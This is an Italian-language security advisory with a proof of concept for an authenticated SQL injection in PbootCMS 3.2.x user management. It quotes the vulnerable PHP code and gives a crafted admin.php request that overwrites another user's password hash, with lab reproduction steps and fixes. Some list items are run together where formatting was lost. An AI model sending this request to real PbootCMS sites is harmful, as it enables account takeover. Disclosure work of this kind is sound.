
Proof-of-concept per CVE-2026-79387, una SQL injection autenticata nella gestione utenti di PbootCMS che consente aggiornamenti arbitrari dei campi e il takeover dell'account.
| Campo | Dettaglio |
|---|
| ID CVE | CVE-2026-79387 |
| Prodotto | PbootCMS |
| Versioni interessate | 3.2.0 – 3.2.5, e possibilmente versioni precedenti |
| Tipo di vulnerabilità | SQL Injection (CWE-89) |
| Vettore di attacco | Remoto (autenticato) |
| Gravità CVSS | Alta |
| Scopritore | JihaoLi |
| Venditore | https://www.pbootcms.com/ |
Esiste una vulnerabilità di SQL injection nel modulo di gestione utenti di PbootCMS V3.2.5. La vulnerabilità risiede nel metodo mod() di /apps/admin/controller/system/UserController.php (riga 149) e nel metodo modUser() di /apps/admin/model/system/UserModel.php.
Il parametro field è completamente controllabile dall'utente tramite una richiesta GET senza alcuna validazione tramite whitelist. Il parametro value è ugualmente controllabile dall'utente e viene concatenato direttamente nell'istruzione SQL UPDATE. Un attaccante autenticato può specificare qualsiasi colonna del database come field (ad es. password, username, status, role), consentendo la manipolazione arbitraria dei dati.
// UserController.php - metodo mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field e $value vengono presi direttamente dalla superglobale $_GET e concatenati in una stringa SQL con nessuna sanificazione, nessuna whitelist e nessuna query parametrizzata. Questa stringa viene poi passata a UserModel::modUser(), che la inoltra al metodo base Model::update(). Poiché l'argomento è una stringa (non un array), bypassa la validazione dei nomi dei campi checkKey() e viene incorporato letteralmente nella clausola SET:
UPDATE ay_user SET <controllato-dall'utente>= '<controllato-dall'utente>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Un attaccante autenticato può:
ucode=10001).value consente l'escape delle virgolette singole, potenzialmente abilitando attacchi basati su query impilate o tautologie.Questo porta alla compromissione dell'account e al controllo completo del backend CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Accedi alla dashboard di amministrazione di PbootCMS e accedi con l'account admin predefinito.

Vai su Gestione sistema → Gestione utenti → Aggiungi utente. Crea un nuovo utente:
admin2admin
L'elenco utenti conferma admin2 con ucode=10002:

Apri una nuova finestra del browser. Prova ad accedere come admin2 con la password 123456 — questa operazione fallisce perché la password effettiva è admin:

Utilizzando il browser dell'amministratore già connesso, vai a:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291è l'hash MD5 di123456.
Il metodo mod() esegue l'iniezione e reindirizza tramite location(-1):

Ora prova ad accedere con admin2 / 123456:

La password è stata modificata con successo tramite SQL injection. L'utente ora accede con la nuova password, confermando la completa compromissione dell'account.

Quando update() riceve un argomento stringa, viene utilizzato così com'è nella clausola SET senza alcun escaping:
final public function update($data = null)
{
if (is_array($data)) {
// Percorso array: checkKey() valida i nomi dei campi
...
} else {
// Percorso stringa: NESSUNA VALIDAZIONE
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Esecuzione diretta, nessuna istruzione preparata
}
field — consentire solo nomi di colonna noti (status, username, realname, password).$value per prevenire l'escape delle virgolette.field è password, applicare encrypt_string() al valore prima dell'archiviazione.mod() dovrebbe richiedere un token CSRF valido e un controllo di autorizzazione a livello di ruolo.Divulgazione: Questa vulnerabilità è stata divulgata responsabilmente al venditore. Se stai eseguendo una versione interessata, aggiorna immediatamente e controlla tutti gli account backend.